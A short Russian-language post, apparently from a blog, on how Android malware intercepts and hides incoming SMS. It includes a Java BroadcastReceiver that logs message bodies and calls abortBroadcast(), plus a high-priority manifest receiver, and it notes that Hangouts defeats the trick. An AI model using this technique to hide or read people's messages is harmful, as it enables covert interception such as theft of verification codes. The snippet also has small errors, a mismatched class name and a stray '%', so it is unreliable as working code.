О Android, SMS и малвари

Одна из наиболее популярных возможностей вредоносного ПО под Android — перехват смс.

Прехватчик как сервис висит в фоне и осматривает все СМС. Если совпадает, например, текст сообщения, то эта смс не показывается пользователю. Приложение, перехватившее смс, может что-то с ним делать. Обычно или просто прячет от глаз пользователя или парсит.

Прехватчик состоит из 2 частей: код на java и запись в манифесте. В манифесте прописывается приоритет для перехватчика. У других приложений может быть другой приоритет — и если он ниже, чем у нас, мы можем перехватить сообщение. И наоборот — приложение с более высоким приоритетом может перехватить СМС до того как оно дойдет нам.
Такой перехватчки скроет от глаз пользователся все приходящие СМС с текстом «Hi»

public class MessageReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
Bundle pudsBundle = intent.getExtras();
Object[] pdus = (Object[]) pudsBundle.get("pdus");
SmsMessage messages =SmsMessage.createFromPdu((byte[]) pdus[0]);
Log.i(TAG, messages.getMessageBody());
if(messages.getMessageBody().contains("Hi")) {
abortBroadcast(); //Вызов этой функции и не дает СМС уйти дальше нашего приложения
}
}

В манифест:

<receiver android:name=".SMSReceiver"
android:permission="android.permission.BROADCAST_SMS">
<intent-filter android:priority="999" %
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>


И конечно, прописать необходимые права:

<uses-permission android:name="android.permission.RECEIVE_SMS" />


Если выбрать приложением для СМС Hangouts, то перехватить СМС не получится. Точнее, приложение перехватчик получит свою СМС, но и Hangouts его получит и покажет пользователю. Hangouts обычно стоит по дефолту на телефоне и его нельзя удалить без рута.

У некоторых телефонов в стандартной прошивке его нет. На таких телефонах в маркете у Hangouts вместо кнопки «Установить» кнопка «Включить».

DQAnpx6WtoI